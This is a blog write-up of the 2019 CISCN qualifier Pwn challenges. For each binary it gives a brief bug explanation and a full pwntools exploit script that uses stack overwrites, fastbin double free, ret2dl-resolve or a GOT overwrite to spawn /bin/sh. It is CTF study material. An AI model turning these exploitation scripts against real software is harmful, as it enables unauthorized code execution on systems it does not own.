Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

2019全国大学生信息安全竞赛(CISCN)初赛解题赛Pwn WriteUp

Pwn相对来说还是比较简单的,和舍友一起AK了。

your_pwn

数组越界,可对栈进行任意修改,将函数的返回地址改至one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# coding=utf-8
from pwn import *


def do_one(p, idx):
p.sendlineafter('input index\n', str(idx))
p.recvuntil('now value(hex) ')
recv = '0x' + p.recvuntil('\n', drop=True)
#if recv != '0x0':
# print idx
#print recv
p.sendlineafter('input new value\n', str(int(recv, 16)))
return int(recv, 16)

def write_one(p, idx, num):
p.sendlineafter('input index\n', str(idx))
p.recvuntil('now value(hex) ')
recv = '0x' + p.recvuntil('\n', drop=True)
p.sendlineafter('input new value\n', str(num))
return int(recv, 16)


def pwn():
BIN_PATH = './pwn'
DEBUG = 0
context.arch = 'amd64'
#context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('', )
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'

if DEBUG == 1:
gdb.attach(p)
raw_input()
p.sendlineafter('name:', 'sunichi')
libc_addr = []
for i in range(6):
libc_addr.append(do_one(p, 0x7ffc0ffeae68 + i - (0x7ffc0ffead40 - 0x150)))

start_addr = 0

for i in range(6):
print hex(libc_addr[i])
start_addr += (libc_addr[i] & 0xff) << (i * 8)

libc.address = start_addr - (0x7fad3b311830 - 0x00007fad3b2f1000)

for i in range(41-6-6):
do_one(p, 0)

print hex(libc.address + 0xf1147)
for i in range(6):
print hex(((libc.address + 0xf1147) >> (i * 8)) & 0xff)
write_one(p, 0x7ffeb2b1b148 + i - (0x7ffeb2b1b140 - 0x150), ((libc.address + 0xf1147) >> (i * 8)) & 0xff)

print hex(libc.address)
p.interactive()
p.close()


if __name__ == '__main__':
pwn()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

daily

申请chunk的时候没有清空,导致地址泄漏。
free的时候没有对数组越界进行检查,在获得堆地址后,可以计算偏移直接越界并进行fastbin attack(在堆中特定位置写入要double free的chunk的地址)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding=utf-8
from pwn import *


def add(p, size, content):
p.sendlineafter('Your choice:', str(2))
p.sendafter('length of daily:', str(size))
p.sendafter('you daily\n', content)


def show(p):
p.sendlineafter('Your choice:', str(1))


def delete(p, idx):
p.sendlineafter('Your choice:', str(4))
p.sendlineafter('Please enter the index of daily:', str(idx))


def change(p, idx, content):
p.sendlineafter('Your choice:', str(3))
p.sendlineafter('Please enter the index of daily:', str(idx))
p.sendafter('Please enter the new daily\n', content)


def pwn():
BIN_PATH = './pwn'
DEBUG = 0
context.arch = 'amd64'
#context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('', )
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'

add(p, 0x100, 'sunichi') #0
add(p, 0x68, 'sunichi') #1
add(p, 0x68, 'sunichi') #2
add(p, 0x68, 'sunichi') #3

delete(p, 0)
add(p, 0x100, 's')
show(p)

p.recvuntil('0 : ')
recv = p.recv(6) + '\x00\x00'
if DEBUG == 1:
libc.address = u64(recv) - (0x00007f2a09751b73 - 0x00007f2a0938d000)
else:
libc.address = u64(recv) - (0x00007f2a09751b73 - 0x00007f2a0938d000)

delete(p, 1)
delete(p, 2)

add(p, 0x68, 's') #1
show(p)
p.recvuntil('1 : ')
recv = p.recvuntil('3 : ', drop=True)
recv = recv.ljust(8, '\x00')
heap_base = u64(recv) - (0x0000000001bba173 - 0x1bba000)
change(p, 1, 'a' * 8 * 3 + p64(heap_base + 0x120))
delete(p, 1)
#gdb.attach(p, gdbscript='b *0x400c39')
#raw_input()
delete(p, (heap_base + 0x1a0 - 0x602060) / 0x10)

add(p, 0x68, p64(libc.symbols['__malloc_hook'] - 0x13))
add(p, 0x68, '\n')
add(p, 0x68, '\n')
add(p, 0x68, '\x00\x00\x00' + p64(libc.address + 0xf02a4))

delete(p, 1)
delete(p, 4)

print hex(libc.address)
print hex(heap_base)
#gdb.attach(p)

p.interactive()
p.close()


if __name__ == '__main__':
pwn()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

baby_pwn

32位典型的ret2dl-resolve的题目,改改以前脚本的参数就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './pwn'
DEBUG = 0
#context.arch = 'amd64'
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('', )
elf = ELF(BIN_PATH)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'

if DEBUG == 1:
gdb.attach(p)
raw_input()


offset = 44
ppp_ret = 0x080485d9
pop_ebp_ret = 0x080485db
leave_ret = 0x08048448
stack_size = 0x800
bss_addr = 0x0804a040
base_stage = bss_addr + stack_size

read_plt = elf.plt['read']

payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
p.sendline(payload)

cmd = "/bin/sh"

plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x804833c # objdump -s -j .rel.plt bof

index_offset = (base_stage + 28) - rel_plt
alarm_got = elf.got['alarm']
dynsym = 0x080481DC
dynstr = 0x0804827C

fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.send(payload2)


p.interactive()
p.close()


if __name__ == '__main__':
pwn()


'''
0x080485db : pop ebp ; ret
0x080485d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804837d : pop ebx ; ret
0x080485da : pop edi ; pop ebp ; ret
0x080485d9 : pop esi ; pop edi ; pop ebp ; ret
0x080481ab : ret
0x0804845e : ret 0xeac1
'''

Double

对于连续的相同的内容,程序不会重新申请新的chunk而是共用,但free的时候并没有检查是否还有info在使用,导致uaf。通过fastbin attack即可信息泄露和getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# coding=utf-8
from pwn import *


def add(p, content):
p.sendlineafter('> ', str(1))
p.sendafter('Your data:\n', content)


def show(p, idx):
p.sendlineafter('> ', str(2))
p.sendlineafter('Info index: ', str(idx))


def change(p, idx, content):
p.sendlineafter('> ', str(3))
p.sendlineafter('Info index: ', str(idx))
p.send(content)


def delete(p, idx):
p.sendlineafter('> ', str(4))
p.sendlineafter('Info index: ', str(idx))


def pwn():
BIN_PATH = './pwn'
DEBUG = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('', )
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'

add(p, 'a' * (0xff) + '\n') #0
add(p, 'a' * (0xff) + '\n') #1
delete(p, 0)
show(p, 1)
recv = p.recv(6) + '\x00\x00'

libc.address = u64(recv) - (0x7fece5e8eb78 - 0x00007fece5aca000)

add(p, 'a' * (0x67) + '\n') #2
add(p, 'a' * (0x67) + '\n') #3
add(p, 'a' * (0x1f) + '\n') #4
add(p, 'b' * (0x67) + '\n') #5

delete(p, 2)
delete(p, 5)
delete(p, 3)
payload = p64(libc.symbols['__malloc_hook'] - 0x13)
payload = payload.ljust(0x67, 'a') + '\n'
add(p, payload)
add(p, 'c' * (0x67) + '\n')
add(p, 'd' * (0x67) + '\n')
add(p, 'e' * (0x47) + '\n')
add(p, 'e' * (0x47) + '\n')


payload = 'a'*3 + p64(libc.address + 0xf1147)
payload = payload.ljust(0x67, 'a') + '\n'
add(p, payload)

print hex(libc.address)
delete(p, 8)
delete(p, 9)
#gdb.attach(p)

p.interactive()
p.close()


if __name__ == '__main__':
pwn()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

bms

tcache,UAF,修改stdout来泄漏地址,劫持free@got。舍友做的,就不贴脚本了。

Virtual

saveload的时候没有检查操作数是否导致地址越界,从而能够前后向任意偏移saveload。通过save将用户输入stack data的数据结构的指针指到free@got后,先打远程,通过泄漏的地址可以获取libc的版本。
然后用同样思路,只不过多一步操作(push add pop)将free@got的内容修改为one_gadget
输入的时候多输入一个数据使得free@got处的数据能够被push。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# coding=utf-8
from pwn import *


def pwn():
BIN_PATH = './pwn'
DEBUG = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('', )
elf = ELF(BIN_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'

#gdb.attach(p, gdbscript='b *0x401B42')
p.sendlineafter('Your program name:\n', 'sunichi')
payload = 'push push push save push add pop'
p.sendlineafter('Your instruction:\n', payload)
print hex(libc.symbols['free'])
payload = str(0xf1147 - libc.symbols['free']) + ' ' + str(elf.got['free']) + ' ' + str((0xffffffffffffffff - 1663) / 8) + ' ' + '1 '
p.sendlineafter('Your stack data:\n', payload)

p.interactive()
p.close()


if __name__ == '__main__':
pwn()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''